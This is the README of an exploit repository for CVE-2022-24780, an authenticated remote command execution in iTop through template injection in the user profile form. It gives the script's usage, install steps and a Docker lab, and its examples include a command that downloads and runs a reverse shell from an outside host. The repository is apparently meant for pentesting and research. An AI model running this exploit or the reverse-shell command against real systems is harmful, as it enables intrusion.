acceis/exploit-cve-2022-24780iTop < 2.7.6 - (Authentifiée) Exécution de commande à distance
iTop < 2.7.6 - (Authentifié) Exécution de commande à distance
Exploit pour [CVE-2022-24780][CVE-2022-24780].
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
La variante full de l'exploit utilise Watir en utilisant un navigateur web piloté par Selenium pour émuler la navigation d'un utilisateur. Ceci est nécessaire pour préserver les informations de l'utilisateur. L'exploit injecte une charge utile SSTI dans une sous-partie du formulaire utilisé pour modifier les informations de l'utilisateur sur le profil du portail. Alors que certaines valeurs peuvent être codées en dur ou récupérées depuis le HTML, d'autres (téléphone, lieu, fonction) sont chargées dynamiquement via JavaScript et injectées dans le HTML. Ainsi, pour que l'exploit ne soit pas destructeur, il est nécessaire d'exécuter JavaScript pour pouvoir récupérer ces valeurs.
La variante light de l'exploit est moins regardante et va simplement définir destructivement une valeur nulle pour certains champs d'informations utilisateur (téléphone, lieu, fonction) à la place. Cependant, cette variante est plus rapide à exécuter, nécessite moins de dépendances, n'exécute aucun JavaScript et n'a pas besoin d'un environnement X (Watir en a besoin pour faire fonctionner le navigateur web).
TL;DR : installez tout avec bundle install
Full flavor
Example using gem:
gem install httpx docopt watir webdrivers
Light flavor
Example using gem:
gem install httpx docopt nokogiri
Il n'est pas recommandé d'utiliser des charges utiles avec des guillemets doubles (") ni des barres obliques inverses (\) car la charge utile est injectée dans du JSON.
Avertissement : ce conteneur n'est pas adapté à une utilisation en production !
Utilisation de vbkunin/itop:2.7.4 - source - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
La vulnérabilité a été découverte par Markus KRELL.
Analyse de la vulnérabilité par le découvreur :
ACCEIS ne promeut ni n'encourage aucune activité illégale, tout le contenu fourni par ce dépôt est destiné uniquement à des fins de recherche, d'éducation et de détection de menaces.
En tant qu'auditeur de sécurité (ou tout autre rôle de white hat), d'une part vous voulez exécuter un script d'exploit pour vérifier l'exploitabilité pratique effective de la vulnérabilité théorique basée sur le numéro de version de l'application que vous avez identifiée, mais d'autre part vous voulez que cela soit fait correctement sans action destructive afin que l'application du client soit laissée dans le même état que vous l'avez trouvée.
Par exemple, cet exploit se produit sur la page de profil utilisateur, donc il y a un formulaire avec des informations de l'utilisateur déjà préremplies : prénom, nom, identifiant d'organisation, email, téléphone, identifiant de lieu, fonction, identifiant de responsable. Pour que l'attaque fonctionne, il suffit de remplacer les champs vulnérables et de remplir les autres avec des valeurs nulles ou aléatoires si elles sont requises. C'est ce que fait la variante light de l'exploit. Mais ce faisant, vous allez détruire les informations réelles de cet utilisateur, ce n'est pas problématique dans un environnement de test mais c'est un vrai problème si vous êtes dans un environnement de production. Un black hat ne se souciera pas de tout cela, mais en tant que white hat nous devons préserver les données. Donc la solution est de récupérer les données réelles et de les réutiliser dans notre requête POST.
Dans les applications web classiques, il suffit souvent de construire directement une requête POST avec les bons paramètres ciblant le point d'entrée vulnérable. Parfois, vous devez gérer les sessions / cookies, les redirections, certains états antérieurs qui peuvent être nécessaires, récupérer un identifiant ou des jetons anti-CSRF, mais tout cela reste très simple et peut être réalisé avec presque toutes les bibliothèques HTTP dans n'importe quel langage.
Afin de récupérer les données réelles, lorsque les données du formulaire proviennent :